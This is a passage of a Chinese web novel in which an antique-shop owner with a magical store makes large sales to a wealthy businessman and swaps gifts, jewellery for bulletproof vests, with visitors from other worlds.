“是顾景舟,这是顾老早期的仿古之作。”黎行聿补充她含糊带过的内容。 萧妧妧眨了眨眼，半侧过身,偷摸掏出手机搜索顾景舟的资料。 “哇……是年少成名的紫砂名手呢。” 上回查到一半让系统打断，之后因为各种琐事,这事也就被她抛到脑后，没想到今天居然这么凑巧,从黎行聿嘴里得知它的由来。 萧妧妧眼珠子一转,提起茶壶斟满一杯茶水,双手捧起,客客气气递给面前的活财神。 “黎老师请喝茶。” 开门营业前,萧妧妧特意把最贵的紫砂壶拿出来摆上桌。 说好听点是斟茶招待客人，实际上不过是她想在众人面前显摆一番，给自己的店铺增添些许光彩，识货的人必定对不破斋刮目相看。 黎行聿轻笑一声,说一句谢谢，接过茶杯缓缓送到唇边。 “……不是什么好茶叶,只是我平时爱喝的果茶,你将就一下尝尝味吧,嘿嘿。” 他抿了一口茶水后，垂眸去看茶杯，眼神有一丝不解，用龙傲天的话来说，黎行聿的表情可以形容为：可惜了这么好的茶壶，没能配一壶好茶。 萧妧妧尴尬地挠了挠头，红着脸向他解释。 “不会，很好喝。”黎行聿喝尽杯中果茶，转动茶杯端详它，“这件是非卖品？” 萧妧妧迟疑了一下，随后点头：“不出意外，它会出现在拍卖行。” 手里三把紫砂壶，朱可心的套组紫砂壶她想自己留下收藏。 至于其他两件，她想着过段时间送去拍卖行。 虽然拍卖行流程多、手续费高、周期长，但怎么说也要比干放在店里，等顾客主动上门有希望得多，关键是价格，肯定会比系统估价高出一截。 佳博是黎家的产业，萧妧妧想了想，没有隐瞒对方的必要，如实地将自己的想法和盘托出。 黎行聿露出淡淡的笑容，肯定她的做法，“拍卖行是个不错的选择。” 得到认同，萧妧妧心里一喜。 “小萧老板，我来拿古墨了。” 人未到，声先至，中气十足的话音突然响起，打断了萧妧妧要说的话。 黎行聿见状，体贴示意她先招待客人，不必顾忌他。 萧妧妧略带歉意地朝黎行聿微微一笑，感谢他的理解，转身快步走向院子迎接新客人。 严格说起来，这位访客也不能算新，是早早约定好上门的文字博物馆的教授，韩叔。 随着高跟鞋笃笃笃敲击青石板，风格迥异的一对父女迈入院中。 萧妧妧面带微笑，一边热情接待，一边打量韩叔的女儿。 三十多岁的年纪，穿着一身利落套装，齐肩短发顺滑亮丽，配着精致妆容十分好看。 只这一面，一直存在于萧妧妧脑海里，干练精明女领导的模糊形象，瞬间变得清晰。 “这位是古董铺的老板，萧女士，上回跟你说捐了《古文释读》的好心人，正是她。”韩叔这时又转过来，笑呵呵对萧妧妧介绍，“这是我女儿韩祺，刚出差回来陪我看看东西。” 幸好萧妧妧为了店铺开业撑门面，换上一身藕色的新中式套装，配合素净的妆容，看起来没那么跳脱，很有几分古董铺老板的架势，不至于在客人面前失态失仪。 她上前轻轻握住韩小姐伸来的手，礼貌地寒暄几句后请人进屋。 趁着他们打量店铺的工夫，萧妧妧绕到柜台后，拉开抽屉，小心翼翼捧出礼盒。 似乎没想到这一大早的，古董铺子会有别的客人，他们进店后诧异了一瞬，赶紧压低交谈声音。 “乖乖你看嘛，这可是好墨，跟我以前买的那些完全不一样。”韩叔捧起古墨，凑到女儿眼前，兴致勃勃讲解哪里不一样。 韩祺这才从黎行聿身上收回目光，压下似曾相识的熟悉感，去听老父亲叭叭叭。 萧妧妧看他们讨论的入神，不好打搅，便找来尺寸合适的礼盒给玉瓶打包。 “原来小萧老板还藏了这么好的东西。” 黎行聿这时走来，在她身侧站定。 听到他略带调侃意味的话，萧妧妧先是抬头看他，再顺着他的目光，看到了捧着古墨嘀嘀咕咕的父女俩。 萧妧妧一副“你可别冤枉我”的神情，“你要是喜欢古墨，我可以帮你留意。” 黎行聿摇摇头，转而指向柜台的饰品区域。 “古墨不必了，家里有不少，这件玉雕金蟾有点意思，帮我包起来吧。” 纤尘不染的玻璃柜台铺了一层黑色绒布，绒布上铺了大小几十个手串、发簪等饰品，熠熠生辉。 黎行聿看中的那件玉雕金蟾摆在其中很不起眼，不是他指尖点在那里提示，萧妧妧一时半会想不起来店里有这么个小玩意。 不是说东西不好的不起眼，而是它太过小巧，只有萧妧妧一半掌心那么大。 放在其他地方容易忽视，万一摔了碰了太可惜，索性和饰品放在一起。 她戴上手套，拉开玻璃门捏起玉雕金蟾送到黎行聿手里。 “要不……你再仔细考虑考虑？” 下单太果断了，萧妧妧自己都有点怕，劝他三思。 黎行聿：“没什么可考虑的，含钱的玉雕金蝉寓意不错，自己留着玩或者送人都合适。 你看，这就是刚才提到的黄翡翠，是翡翠里颜色比较特别的品种，设计师根据玉料本身的纹路设计了蟾蜍的造型，是不是有一点可爱？” 蟾蜍两只眼睛的部位色泽深一些，除此之外，雕件其余地方呈现出来的颜色是非常统一的鸡油黄，灯光一照，莹润透亮，是种水很不错的天然翡翠，黄翡中价值最高的那种。 听他这么一解说，再看胖嘟嘟的玉雕蟾，萧妧妧也不嫌弃它身上疙疙瘩瘩的凸起难看了，连深色的眼睛都变成了点睛之笔。 黎行聿说得没错，设计玉雕金蝉的匠人着实不简单，其雕刻技艺堪称精湛，审美水平更是一流。 萧妧妧佩服的不行，黎行聿的眼睛是真厉害，能在一堆乱七八糟的便宜货手串里留意到它。 等萧妧妧用系统扫描估价后，她承认，之前确实是她有眼不识金镶玉。 488万！她是怎么敢把它放在价值一两万的手串里的？ 萧妧妧震惊的同时暗暗发誓，等客人走了以后必须把整个店铺全部用系统扫一遍。 “黎总。” 正在这时，眼熟但不知道怎么称呼的秘书先生捧着什么东西进来，他目不斜视，径直走到黎行聿身边，递上东西。 黎行聿接过支票本，撕下一张支票，目光直直地望向萧妧妧。 萧妧妧福至心灵，当即意会，噼噼啪啪在计算器上按来按去。 “两件一共九百六十九万。” 萧妧妧努力让自己保持镇定自若的神情，面带微笑地开口。 969万是打了九折之后又抹去零头的价格，将近一千万的进账，不怪她沉不住气。 相比之下，黎行聿这个花钱的人淡定许多，听闻价格时，连眼睛都未眨动一下。 他面不改色地拿起签字笔，写下一串数字，签上名字。 “东西打包完交给他就好。”黎行聿推来支票。 一旁的秘书先生礼貌地向萧妧妧颔首，客气送来他的名片。 萧妧妧手忙脚乱，接下支票又赶紧接过名片。 “原来您姓刘呀，”萧妧妧扬起灿烂笑容，“刘先生稍等一会。” 话音未落，她回到柜台后面，找来小一点的礼盒，犹豫一会，又多拿出一个小盒子。 韩祺自从看到后进店的西装男人，熟悉感越发浓，眉头蹙起，回想到底在哪见过他们。 韩教授没能留意到自家女儿的心不在焉，拿着放大镜一寸一寸的看，四块大圆饼摆在一起差点看不过来。 铺子另一边，萧妧妧忙得不可开交，根本没能注意到韩祺审视的目光。 她把玉雕金蟾仔细包裹起来，动作轻柔而娴熟，收据一同放置其中，连带着玉瓶一起交接给秘书刘先生。 完成这些之后，萧妧妧抬起头来，“黎行聿，你喜欢哪一个？” 消费九百多万，萧妧妧为感谢他的支持，决定送他一个手串。 当然，不是那种一万两万的，黎行聿好意思收，她还嫌弃寒酸，不好意思送呢。 琢磨片刻，她拿出了自己私藏的两串颇具特色的手串——单圈象牙手串和单圈玳瑁手串。 主要是除了这俩手串，萧妧妧一时之间也难以找到更为合适的赠品。 其他的那些手串要么过于精致小巧、显得过于秀气，不太符合男性佩戴者的气质；要么就是品质稍逊一筹或者风格与黎行聿不太相符。 象牙和玳瑁制成的手串不一样，它们本身是难得一见的珍稀材料所制，用来送人绝对不会让人觉得失礼或者掉价。 再者说，它们的价格恰到好处，都在三十多万上下，当做搭头挺合适的。 黎行聿没有推辞，坦然在她左右两只手里来回游移，不过几秒工夫，目光定在气质更加硬朗一点的玳瑁手串上。 萧妧妧见他有了决断，接话道：“我帮你包起来。” 黎行聿制止了她，轻声说：“不用，我自己戴上就好。” 他从萧妧妧手里拿起玳瑁手串，套在戴了腕表的那只手上。 萧妧妧的视线不由自主地跟随着他的动作移动。 她看了看时尚的机械腕表，又看了看古朴大方的手串，令人惊讶的是，这两种截然不同风格的配饰搭配在一起，意外的和谐。 特别是斑斓的玳瑁，佩戴在黎行聿的手上相得益彰，仿佛为他量身定制一般，衬托出他的气质。 黎行聿敏锐地捕捉到了萧妧妧眼中流露出的欣赏之意。 他嘴角微微上扬，反问：“什么气质？” 什么气质，当然是矜贵典雅又有点威严的气质。 这种气质使得黎行聿无论身处何地，都能成为众人瞩目的焦点，难以忽视。 话到嘴边突然卡住，萧妧妧越想越觉得，这么直白地说出来，太像刻意的奉承拍马之词。 “霸总的气质。”她以玩笑的口吻回应。 66 第66章 ◎赚钱像喝水一样简单◎ 黎行聿失笑,摇摇头，想到什么，掏出手机。 “上次见你对古董收藏展感兴趣，正好,主办展览的收藏家和佳博有过合作,给了我两张邀请函。” 随着他话音落下,黎行聿一左一右的两人同时愣住。 萧妧妧是没反应过来,对他突然转换话题感到莫名，而旁边的刘秘书愣了两秒后,露出诧异神情。 他偷摸望向顶头上司，又不着痕迹地打量古董铺老板,眼底的惊诧很快被八卦的光芒取代。 “叮咚” 手机提示音响起，屏幕上弹出横幅,她点开详情，发现是黎行聿发来的消息。 萧妧妧纳闷看他一眼,黎行聿却什么都没说,示意她点进去看一遍再聊。 神神秘秘的样子,萧妧妧以为是有什么话不方便讲,点开一看才知道,他发来的是一封电子邀请函。 “这……是那个什么树先生的个人收藏展览？” 相同的海报和展览主题，萧妧妧马上回想起来，是昨天她无意间看到的展览宣传。 黎行聿点头，“是他,感兴趣可以去参观一下。” 萧妧妧得到他的确认，点开链接,电子邀请函缓缓展开,展览主题跃然而出,展览时间紧随其后露出。 “谢谢你啊黎行聿，我会去看的。” 大致扫一遍展览信息以及展品类目，萧妧妧确实感兴趣，一口应下。 萧妧妧只去过博物馆，每回都是囫囵吞枣的转一圈，更不会主动去看什么艺术展收藏展。 昨天意外看到展览宣传海报，萧妧妧心血来潮，好奇其他收藏家们都喜欢收集些什么样的东西。 黎行聿观察得真仔细，她只是多看了海报几眼，就被他发现了。 “不客气，记得填写预约时间。”黎行聿神情温和的提醒。 萧妧妧唉了一声，赶紧在邀请函里填写姓名和参观场次。 看起来是限制人数的，每个场次限定50人，难怪要展出半个月。 三两下提交预约信息，萧妧妧收起手机，忙着要给他斟茶，黎行聿阻止了她。 “不必了，公司还有事。” 萧妧妧见状，放下茶壶送他们出门。 ………… “小萧老板，刚才那个人……是黎明的黎总？” 刚进店铺，萧妧妧抬头看到等在门边的韩祺。 她神情有几分意外，似乎是没想到会在这么一间新开业的小铺子里见到对方。 萧妧妧有一瞬的惊讶，黎行聿是明星不成，怎么买个东西都有人认识他。 考虑到大客户的隐私问题，萧妧妧含糊回答：“他确实姓黎，但是不是你说的什么黎明黎总，我不确定。” 也不算她骗人，霸总产业多，她只知道一个佳博拍卖行，什么黎明深夜的，她一无所知。 韩祺听完她语焉不详的回答，若有所思，姓氏是相符的，面容也对上了，还有刘秘书，可以确定她并没有认错人。 在此之前，韩祺只跟着合伙人远远见过黎行聿几面，每一次都是西装革履，不苟言笑的样子，无论去哪身边永远簇拥着一群人。 今天这身装扮与以往大相径庭，细碎的短发随意地垂落在额前，看上去年轻了好几岁，说话时笑意浅淡，凌厉气势尽数收敛，多了几分含蓄和松弛，完全是另一种气质。 猛地见到全新形象和姿态的黎行聿，韩祺一时之间不敢辨认，要不是刘秘书及时出现，恐怕真的要错过。 “谢谢你，那套古墨麻烦你包起来，等会我来刷卡。” 韩祺温声丢下这么一句，略显激动地转身到门边，拨通电话。 萧妧妧不解地挠挠头，绕回柜台后面拿包装盒。 韩叔是真喜欢这套墨，甚至舍不得别人触碰，亲自动手打包，虽然手忙脚乱，但全程笑呵呵。 韩祺的性格和她的形象非常相符，确认价格没错后，直接刷卡。 萧妧妧笑吟吟的送走父女两人，回到店里后心情舒畅。 160万到账，再有969万的支票，不破斋开业第一天，营收达到千万！ 别说现在关门，就是一个月不开门，也不影响什么。 萧妧妧看着手里两张支票，琢磨哪天提出来比较合适。 一张是博物馆的悬赏金，到现在还没抽出空去提钱，正好和黎行聿这张支票属于同一家银行。 “赚钱像喝水一样简单。” 不管是支票支付还是现金支付，加上存款，她现在拥有的可流动资金已经有1300万之多。 看一眼满当当等着出售的古董们，再看一眼账户余额，萧妧妧心满意足，嘴角笑得酸疼。 眼看着时间不*早，磨蹭磨蹭能吃午饭了，萧妧妧赶紧把“金枝玉叶”搬出来放进空出来的玻璃展柜中。 照这速度卖下去，她得多想想办法“走私”点好东西，店里没有镇店之宝怎么行。 胡思乱想一阵，萧妧妧嘿嘿笑，没一会，她好像听到小卖部有动静，笑声戛然而止。 守在不破斋半天，她差点把小卖部给忘了。 估计一时半会不会来新客，萧妧妧索性锁了古董铺的门，快步回到小卖部。 越走越近，抽噎不止的哭泣声越来越清晰。 萧妧妧想不到会是谁，又听她哭得伤心，不由得加快步伐，一路小跑着冲进店里。 一跳过门槛，她一眼瞧见了蹲在墙角处的那一坨华丽衣裙，萧妧妧立刻猜出来者何人。 “你不是公主吗？谁敢欺负你？” 萧妧妧找来湿巾纸巾，抱到圆桌上，再回到柳如烟身边，拉住她胳膊将其扶起。 柳如烟正哭得梨花带雨，眼眸早已被泪水淹没，眼眶四周红彤彤的一片，泪珠大颗大颗顺着脸颊滚落，精心装扮过的娇俏脸蛋狼狈极了。 “本宫、本宫……哇！”说到一半，她哇的一声哭出来，哭声响彻整个店铺。 萧妧妧却没憋住，噗一声笑出来。 这个时候发笑不太妥当，但……柳如烟哭起来有点可爱。 听到笑声，柳如烟抬起头狠狠地瞪了萧妧妧一眼，一边用帕子擦拭鼻涕，一边哽咽着说道： “人家都已经哭得这么伤心难过了，你居然还嘲笑我。” 由于哭得太过厉害，她说话断断续续，半天才说完一整句。 “那你先说说出了什么事，我好帮你啊。” 想想那本书的剧情，萧妧妧都不用动脑子，多半是为了男主。 “是陈松！他背着我和别的女人勾勾搭搭！”柳如烟越想越委屈，放声大哭：“他为了一个教坊司的舞女与我横眉冷对……亏我这几日努力练舞……我讨厌他！” 萧妧妧听她一顿指控，无奈耸肩。 看吧，果然没猜错。 萧妧妧一向劝分不劝和，可是她和柳如烟的关系没到能推心置腹的程度，有些话不能说。 见她确实伤心气恼，萧妧妧欲言又止好一会，眼珠子一转，从抽屉里拿出平板。 “在我们这里，为男人哭传出去是要被人看不起的，你堂堂一个公主，既然不满意他的所作所为，那就换一个好了，一个要是不够，就换十个，让他们逗你哄你。” 萧妧妧帮忙激活系统，又下载了几个视频APP，登录自己的账号，在一众男菩萨中挑选了相对保守一点的男模走秀视频。 “这才是你该看的东西。” 平板推到柳如烟面前，动感富有节奏的音乐咚咚咚响。 柳如烟顾不上伤心了，抽抽两下，注意力便完全放在平板上。 没过一会，她彻底没了哭的念头，手帕擦干净泪珠，捧起平板聚精会神。 “萧老板，他们怎么都是黄毛？你快看，这个人好黑啊……” “萧老板，他们为什么只走路啊，还走得那么快？” 柳如烟的问题太多了，萧妧妧时不时要分神解答。 “放远点，小心近视。” 等柳如烟知道什么是时装秀，最后提醒她一遍，萧妧妧便放任她自己刷视频。 十六七的小孩子，情绪来得快去得也快，萧妧妧才保养完两个鎏金香炉，准备晚些时候放到后面店铺里，柳如烟已经完全变了样。 她一手捧着脸，杏眸闪烁着炽热的光芒，视线紧紧地锁定在屏幕上，一根手指在上面乱拨，一会暂停一会快进，一会又倒退重播。 “萧老板，他们怎么都不穿衣服！” 萧妧妧抽空扭头瞅她一眼，柳如烟不知道看到了什么惊世骇俗的内容，两手撑开交叠，挡在自己眼前。 从手指缝隙间，可以明显看出她内心充满了好奇，却又是一副既想看不太敢看的羞窘模样。 按捺不住心中的疑惑，萧妧妧踮起脚瞄一眼，原来是自动播放推送视频，现在播放的是男泳装时装秀。 泳装嘛，懂的都懂，总共没几块布料，还大都紧贴皮肤，将男模们完美的身材轮廓展现得淋漓尽致、一览无余。 “这是泳装，当然不用穿那么多。哎，也是让你吃上细糠了，以前大数据可从不给我推这些。”萧妧妧羡慕的直叹气。 柳如烟听她打趣的言语，俏脸顿时如熟透的苹果一般，她跺跺脚，哼了一声。 “向上滑动切换视频，向右滑退出播放，如果喜欢，评论区留个字符，告诉大数据继续给你推。” 萧妧妧教她怎么操作，交代完这些，抱起捧起香炉去后院。 多宝架重新填满，琳琅满目的物品看着就舒心，萧妧妧静静地欣赏片刻，没等她拍照修图发上网，小卖部再次传来动静。 “这孩子又闹什么呢……” 萧妧妧嘀咕一声，赶紧发送照片，然后往小卖部跑。 “你快说，萧老板去哪了？” “你这人真无礼，本宫怎么会知道她去哪了……哎呀，你快走开，身上臭烘烘的，薰着本宫了。” 还没进门，只听里面的争执，萧萧妧妧瞬间明白了大半。 申明月来了，两个小学鸡不知道为了什么吵起来了。 【作者有话说】 写到这里，祝大家都能赚钱像喝水一样简单[垂耳兔头] 67 第67章 ◎本宫也有好东西◎ “好端端怎么吵起来了？” 柳如烟这会心情不好,申明月也不是软弱的性子，两人好巧不巧碰到一起，萧妧妧生怕她们吵着吵着动起手，飞快挤到两人中间劝架。 申明月看到萧妧妧出现,神情松懈下来,她隐晦地朝柳如烟翻了个白眼,转过头自顾自与萧妧妧搭话。 “萧老板,我来给你送东西。” “嘁，依本宫看,你就是来找架吵的。”柳如烟回了一个白眼，撇撇嘴,阴阳怪气的插话。 申明月深吸气，想反驳,转头注意到她满脸泪痕，到底没说什么,哼了一声不肯搭理她。 她一进店就看到柳如烟抱着萧老板的东西,喊了两声没听到萧妧妧回应,柳如烟这时候顶着一张哭花的脸,语气不善的抱怨她太大声吵着人了,申明月以为她欺负萧妧妧，一时没忍住与她拌嘴。 萧妧妧急忙转移话题：“你怎么穿这么一身过来？要打仗了？” 她抽出几张湿巾塞给申明月，示意她擦擦脸上身上的脏污。 申明月穿着厚重的布甲，柔顺长发高高束起,精致的脸庞脂粉未施，依稀可见几道蹭上去的血痕。 她身后背着一张弓,胯间挂了牛皮小包,里面有几十支玻纤箭。 再低头一看,袍脚处浸染了大片血迹，鞋面上有深色痕迹，血腥气浓厚，显然是刚经历完一场厮杀。 申明月瞪了柳如烟一眼，按捺情绪，回应道：“快了，听大宇的斥候说，大部队最迟下月抵达，不过我们抓了斥候，消息传不回去，恐怕要生变。 这不，族长舅舅同意我带部曲去附近山林剿匪，算是临阵磨枪吧。” 说起带兵剿匪，申明月眼冒精光，闪烁着兴奋与自信的光芒，整个人意气风发。 “嘿嘿，也不全是为了磨枪，申家族人多，心不够齐，这一时半会的筹不到银子发饷银，没银子，谁肯卖命？母亲说，我纵使再有银子，不该这时候拿出来，于是只能借着剿匪的由头，顺道弄些银两回来。” 申明月：“萧老板你是没看到，那些山匪个个富得流油，平日里肯定没少做伤天害理的事。” 萧妧妧瞥一眼她眼底的青黑，好笑的问：“瞧你这样子，这是磨了多少个贼窝啊？” 她这里才过去一晚上，申明月那里却是过去了好些天，大约是经历了不少事，气质变得凌厉许多。 申明月挠挠头，语气谦虚：“哎呀，没几个，解决他们小菜一碟，容易得很。” 话虽如此说，脸上不经意间流露出来的得意与疲惫神情将她出卖。 “萧老板的玻纤箭真好用，轻巧不说，数量足够多，这几次剿匪总共耗去一万多支，听下头人说，不少箭捡回来还能反复用，可算解了难题。” 申明月嘴里一个劲地夸赞玻纤箭，手上动作一刻未停，湿巾按在脸上胡乱抹了几下，也不管有没有擦干净，湿巾往垃圾桶一丢，急吼吼回柜台附近抱来两个匣子。 “底下人送来的东西，我瞧着很适合萧老板，”申明月打开木匣，推给萧妧妧，“这些是我送给萧老板的。” 萧妧妧闻言，微微向前倾身，凑近去看，柳如烟竖着耳朵听了一会，心中好奇，撑着桌子屈膝站起，脖子抻得直直的，想看看是什么好东西。 正方形的木匣，长宽约有二十多厘米，表面镶嵌了螺钿，打磨得平整光滑。 而古朴的木匣里，摆放着一串金托翡翠的项链。 链子部分由金灿灿的金子掐成花朵，一朵勾着一朵，共十八朵。 在这十八朵金花中，花心是翠绿欲滴的翡翠珠子，至于项链正中间，则是沉甸甸垂下来的挂坠。 一眼看过去，最先入眼的必定是拇指盖那么大的翠绿蛋面主石，蛋面周围那一圈圈华丽繁复的金花边，像星星一般簇拥着它。 一面是耀眼的金，一面是柔亮的绿，点点金光包裹着碧绿如水，交织出奢华高调的氛围，尤其细节之处，尽显巧思，瞬间吸引了在场所有人的目光。 “这么贵重……送给我？” 萧妧妧呆呆的欣赏了片刻，如梦初醒般挪开眼，不可置信地指着自己。 申明月重重点头，语气诚恳：“萧老板帮助我良多，小小礼物以表心意不是应该的吗？我手上虽然没多少金子，但是好东西不少，萧老板你别嫌弃它。” 贼窝里抢来的战利品，一见到它，申明月便立刻想到了萧妧妧。 反正拿回去也是塞库房，一时半会换不成金银，不如给萧老板，她肯定喜欢。 之前就几次听她说起，要搞些翡翠玉石什么的，申明月抢来的玛瑙玉髓等赔款在这里不值钱，她便歇下心思，用萧妧妧最爱的金子交易。 这一次剿匪，她搜罗到不少好东西，回头等下面人全部收拾齐整登记造册，不管是送给萧妧妧还是找萧妧妧兑换成金子，都很合算。 萧妧妧拨浪鼓似的摇头，哪敢嫌弃啊，刚才用估价功能一扫，这一条项链竟然价值280万。 和那些动辄千万过亿的极品玉石比，280万实在不算什么，但放眼当下，能过百万的翡翠玉石，真不能说差。 想想青白玉瓶，有她小臂那么高，还有雕工加持，也就比这条项链贵了一倍。 “水头不错，可惜小了些。” 柳如烟不知道什么时候凑过来，正双手抱在胸前，贱兮兮的发表己见。 申明月瞪她一眼，微微侧身，拒绝柳如烟靠近。 柳如烟哼哼两声，扭身回到桌边。 “萧老板你看，这件也是送给你的。” 放下方形匣子，申明月又捧来一个稍长的匣子打开。 萧妧妧一边惊讶的说“还有啊”，一边凑过去看。 这次是翡翠珠串，颜色稍显深沉，肉眼看偏菠菜绿，灯光下格外剔透看不到多少黑点，是高货。 说回珠串，共有六十六颗珠子，每颗珠子大小相同，直径估摸有15mm，甚至更大。 长度不明，但绕在手腕上三圈嫌紧，两圈又太松，适合挂脖子上。 比起前面那条金灿灿的项链，翡翠珠串则含蓄了不少，直到萧妧妧看到估价，她决定收回前面半句。 130万的珠串哪里含蓄了？平均下来，一颗珠子值两万！ “谢谢你明月，这两件我都很喜欢，它们太漂亮了。” 萧妧妧的嘴角快要笑烂了，名贵珠宝也是让她戴上了。 申明月见她没推拒，爽快收下，便知道东西没送错。 她欢欢喜喜地合上匣子，小心翼翼放在柜台上。 柳如烟眼眸一瞥，嘀咕道：“真是没眼光，这算什么好东西……” 她看向右侧，申明月脸上笑意盈盈，很高兴自己的礼物得到对方的欣赏，再看向左侧，萧妧妧一副不值钱的样子，好像第一次收到礼物似的。 柳如烟眼珠子一转，趁她们没注意，溜回寝宫。 萧妧妧：“你等等，我正好有东西给你。” 她从墙角的快递堆里扒拉一通，很快找到目标，划开包裹，抽出其中一件背心似的物品，在申明月面前抖了抖。 “它叫防弹背心，你要上战场打打杀杀，受伤在所难免，有防弹衣护着点，多少要好些。礼尚往来，这件是我送给你的礼物。” 下单的时候太困了，她懒得做功课，软硬两种质地防弹衣各买了两件，复合式的防弹衣看起来更实用，买了十件，一大早就有快递小哥送上门。 考虑到申明月那个年代多用冷兵器，硬质防弹衣最合适，但缺点明显，它不够轻便，这么一来，复合式防弹衣是最佳选择。 “怎么说呢，它的作用有点类似你们古代的金丝软猬甲，刀枪不入。” 随着她的介绍，申明月的丹凤眼越瞪越圆，眼底晶晶亮，她满脸惊喜地捧过防弹衣，爱不释手的抚摸它。 “我曾听闻过金丝软猬甲的威名，这防弹衣当真会比软猬甲还要厉害吗？” 出于谨慎，申明月开口提出了疑问，其实内心深处早已相信了萧妧妧所说的每一句话。 毕竟，萧妧妧从来没有骗过她，而且从小卖部里得来的东西向来品质上乘、无可挑剔。 萧妧妧干脆抽出牛皮包里的玻纤箭，紧握手中，胳膊蓄势片刻猛地插向防弹衣。 玻璃柜台受力，发出哐的一声震响，防弹衣却只留下细微划痕。 申明月哇了一声，目瞪口呆。 “穿在里面外面都行，至于其他功能，需要你亲自测试了。” 萧妧妧把防弹衣摊在柜台上，教她怎么穿脱。 申明月眼珠子骨碌碌转，迫不及待要回去试一试，看看防弹衣到底有多少她不知道的妙处。 “萧老板，我得先回去……”申明月转身要走时忽然想到什么，折返回来：“对了，我已安排下人选铺子，说不定等这场硬仗打完，不倒闭的分店就能开业了。 后面几日我得留在山里练兵，不能经常来，萧老板莫要为我担心。” 萧妧妧撑着脑袋，听她小大人似的交待事情，不由叹气。 苏娇娇的剧情开始了，申明月的剧情也慢慢走上正轨，每个人都忙忙碌碌，显得她无所事事，像条咸鱼。 但是，哪个咸鱼账户余额能有千万啊？ 目送申明月穿过结界，萧妧妧有一搭没一搭地胡思乱想。 结界的另一边，申明月不知道忙得分身乏术的自己，竟然会被无所不能的萧老板羡慕。 “速速派人去取弓来，十石、十五石、二十石，有什么拿什么。” 钻出帐篷嘱咐这么一句，听到部曲应声告退，申明月急忙赶去山腰的营地。 “郎君！郎君！这止血药果真如您所言一般神奇，血止住了不说，竟有结痂的势头。” 申明月一听，大大松了一口气。 囤了那么多药，这还是第一次大批量用在部曲身上，申明月忐忑不已。 “二牛可起了烧热？”她扶住颤巍巍的老大夫，一起进了医帐。 “老朽听郎君吩咐，二牛身上稍有不对便用了退烧药，小小一粒，看不出成份，谁知道这么一下肚，烧热瞬间退去，二牛也不喊疼了。” 何大夫吃惊不已，料理完伤员，对着油灯琢磨半晌——好厉害的伤药，真是闻所未闻。 还有什么酒精、免缝合贴，稀奇古怪，但确实好用。 何大夫除了照料伤员，其余时间便是压着他们不给动弹，观察药效。 “还是疼的，郎君您送来的什么酒精，可疼可疼了。”帐篷边躺倒养伤的二牛挣扎着翘起脑袋回话。 申明月微微笑：“疼就对了，那是消毒。” 想起酒精冲洗伤口带来火辣辣的刺痛，申明月不由抖了抖。 确实挺疼的，她当时差点陷入昏迷，萧老板为她消毒时硬生生疼得清醒过来。 “郎君，您送来的药贵不贵啊？咱们省着点用，后头有硬仗要打呢。”医帐内另一个伤员忧心忡忡的回话。 “是啊是啊，郎君，这么好的药留着以后用，咱们可以忍忍的。” “对，可以忍忍的，老头子我上过战场，这点痛不在话下。” 如果忽略他们龇牙咧嘴的神态，话语或许有几分可信。 申明月心里熨帖，环顾医帐一圈，抱拳作揖，扬声说：“不管是箭支还是止血药，我有的是法子给你们弄来，大家安心养伤，日后上了战场，还要多多倚靠诸位。” 都是外祖父留下的好儿郎，知道她借着剿匪练兵，二话不说撸袖子就上。 不眠不休六七天，总算将升州城外最大的一处匪窝剿灭，剩下那些不成气候的贼匪，又花了十来天全部解决。 如此高强度的大练兵，手下人嘴里不说，申明月也猜到他们快扛不住了。 部曲三千，青壮年只占其中一成，多数是外祖父留下的老兵。 “何大夫，辛苦你和小童了，医帐需要什么尽管去报，”申明月转身，吩咐身后紧跟着她，同样是做男儿打扮的丫鬟，“去伙房传个话，今晚吃羊汤，犒劳大家。” 话未落音，医帐里传来一片欢呼，大家高喊“郎君”。 二牛这时舔舔嘴唇问：“能吃压缩饼干吗？沾着羊汤吃，肯定有滋味。” 申明月哭笑不得，萧老板说压缩饼干在她那里没有很多人爱吃，没想到在她这里意外的受欢迎。 “好，二牛叔若是能尽早恢复，压缩饼干管够！”申明月语气豪爽的回应。 慰问完受伤部曲，申明月脚步轻快地离开，转进另一个帐篷。 识字的部曲在盘点战利品，看到郎君来了立刻问好。 申明月点点头：“手脚轻些，若是遇到女儿家用的首饰，都留着，等我过目再决定。” 年轻部曲意外的瞄一眼郎君，嘴里应得好好的，心里纳闷极了。 郎君不爱红妆爱戎装，且整日扮成儿郎模样，竟也在意女儿家用的物件？ 申明月没解释，扫一眼满当当的几个大木箱，心底开始琢磨下次给萧老板送什么好。 或许频繁念叨起小卖部，一不小心便召唤出来，申明月望着金光闪闪的大门，露出满足笑容。 她看到大门里，萧妧妧百无聊赖地撑着脸，柳如烟趾高气昂地闯进去，破坏了安宁画面。 看到柳如烟，申明月皱了皱眉，淡淡地哼了一声，眼不见为净，偏过头，继续查看箱笼。 萧妧妧忙着无病呻吟的时候，柳如烟得意洋洋地跑来。 “萧老板你看，本宫也有好东西，比那个什么明月的更好。” 萧妧妧先是看到她灿烂的、花了妆的脸，随后视线下移，不由自主地凝向她脖颈。 【作者有话说】 [亲亲][亲亲][亲亲] 感谢读者般诺扔了1个地雷 感谢读者藏月水寒灌溉营养液+2 68 第68章 ◎帝王紫◎ 柳如烟倨傲地仰起脑袋,好让颈间项链更清晰的展现。 她提着裙摆款款走来，最后停在萧妧妧面前，双手舒展，缓缓转了个圈。 “怎么样？”她得意问。 萧妧妧一眼看到她戴的红宝石项链,有她拇指那么大,她连假货都不敢买成这样的。 除了红宝石,项链主体最吸引人的是指甲盖那么大的钻石,镶嵌了上百颗，灯光下璀璨夺目,亮瞎人眼。 要不是戴在她身上，萧妧妧差点拿手电筒照上去看个仔细。 萧妧妧半信半疑的问：“这是……钻石？” 柳如烟呆了两秒,惊喜低呼：“你知道钻石？你快说说，钻石真有那么珍贵吗？” 她一边抚摸着颈间红宝石项链,一边眨巴眼睛期待萧妧妧的讲解。 萧妧妧稍顿，模棱两可的说：“在我们这里,这么大这么多的钻石,确实挺值钱的。” 柳如烟更惊喜了,惊喜之余羞怯地垂下头。 “哼,算他识相……”她嘴角含笑的嘀咕。 萧妧妧明白过来,不用说，肯定是男主陈松送给她的，估计还把钻石吹得天花乱坠。 只高兴了一会，柳如烟又挂着一张脸,嘴巴高高撅起。 “再值钱也没用，本宫不稀罕和别的女人用一样的东西。” 想到同样戴着钻石项链的教坊司舞女,柳如烟恨恨地摘下项链,高高举起就要往桌子上砸。 萧妧妧吓得心脏停跳,眼疾手快，赶紧伸出双手垫在下面，才没让红宝石磕在桌上。 “你急什么，这是本宫的东西，本宫爱怎么着就怎么着。”柳如烟没好气的说。 